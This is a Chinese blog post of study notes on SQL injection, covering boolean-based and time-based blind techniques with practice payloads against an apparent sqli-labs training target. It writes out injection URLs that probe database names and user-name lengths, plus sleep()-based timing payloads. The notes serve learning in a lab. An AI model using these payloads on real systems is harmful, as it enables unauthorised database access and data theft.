• SQL注入-2


    SQL注入的一般步骤

    1.报错:需要用单引号 双引号 或者左小括号判断字符串 被什么包裹

    2.正常:闭合语句,让语句不出现语法错误

    3.判断列数 : order by 关键字

    4.查询想要的内容 联合查询 union

    基于报错的注入方式

    布尔型盲注

    条件:页面存在异常情况 ,但没有回显且没有报错信息

    ascii('test') 返回 ascii码

    ascii码范围是 0~127

     返回指定字符串最左侧字符的ASCII值

     练习1.

    目标:http://10.1.2.5:10631/sqli/Less-8/?id=1

    方法:布尔型盲注

    http://10.1.2.5:10631/sqli/Less-8/?id=1' 页面显示不正常

    http://10.1.2.5:10631/sqli/Less-8/?id=1" 页面显示正常

    http://10.1.2.5:10631/sqli/Less-8/?id=1) 页面显示正常  说明存在单引号注入

    http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =0 %23 使用二分法进行实验 如果正确页面显示正常

    http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =115 %23

    查询当前数据库用户名的长度

    user():
    连接时指定的user name 和 连接时客户端的host(可以连接这个数据库的用户)
     
    current_user():
    认证时的用户名和host name,对应 mysq.user表中的记录(当前连接这个数据库的用户)

    length() 返回内容的长度

    char() 返回ascii码对应的字符 比如,char(114) => r

    http://10.1.2.5:10631/sqli/Less-8/?id=1' and  length(user())=14 %23

    时间型盲注

    条件:不管输入什么页面都没有任何异常,且没有回显没有报错信息

    select if(True,2,3) => 2

    select if(False,2,3) =>3

    select if( payload,sleep(3),1) 如果payload 是真 三秒后执行 如果是假 立即执行

    select if(length(current_user())>10,sleep(2),1); 查询当前用户名的长度是多少

  • 相关阅读:
    【ALearning】第三章 Android基本常见控件
    【问题汇总】ListView的FooterView设置可见性的问题
    shell重定向调试信息
    Android提供的系统服务之--TelephonyManager(电话管理器)
    工作一年的总结
    【甘道夫】HBase基本数据操作的详细说明【完整版,精绝】
    未定义标识符_ConnectionPtr
    POJ 1329 三角外接圆
    IOS开发-加载本地音乐
    SQL Server 性能优化3 该指数(Index)保养
  • 原文地址:https://www.cnblogs.com/Abelte/p/8881424.html
Copyright © 2020-2023  润新知